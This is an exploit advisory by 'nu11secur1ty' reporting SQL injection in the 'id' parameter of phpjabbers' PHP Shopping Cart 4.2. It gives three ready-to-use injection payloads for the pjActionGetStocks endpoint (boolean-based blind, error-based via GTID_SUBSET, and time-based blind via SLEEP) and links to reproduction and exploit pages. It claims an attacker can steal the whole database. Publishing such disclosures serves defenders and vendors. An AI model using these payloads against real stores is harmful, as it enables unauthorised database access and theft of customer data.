PHP Shopping Cart 4.2 SQL Injection

## Title: PHP Shopping Cart-4.2 Multiple-SQLi## Author: nu11secur1ty## Date: 09/13/2023## Vendor: https://www.phpjabbers.com/## Software:https://www.phpjabbers.com/php-shopping-cart-script/#sectionPricing## Reference: https://portswigger.net/web-security/sql-injection## Description:The `id` parameter appears to be vulnerable to SQL injection attacks.A single quote was submitted in the id parameter, and a database errormessage was returned. Two single quotes were then submitted and theerror message disappeared. The attacker easily can steal allinformation from the database of this web application!WARNING! All of you: Be careful what you buy! This will be your responsibility!STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: id (GET)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: controller=pjFront&action=pjActionGetStocks&id=1') OR NOT3795=3795-- sRcp&session_id=    Type: error-based    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (GTID_SUBSET)    Payload: controller=pjFront&action=pjActionGetStocks&id=1') ANDGTID_SUBSET(CONCAT(0x71717a6b71,(SELECT(ELT(3820=3820,1))),0x7178627871),3820)-- kQZA&session_id=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND(SELECT 2625 FROM (SELECT(SLEEP(5)))nVyA)-- FGLs&session_id=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Shopping-Cart-4.2)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/php-shopping-cart-42-multiple-sqli.html)## Time spent:00:37:00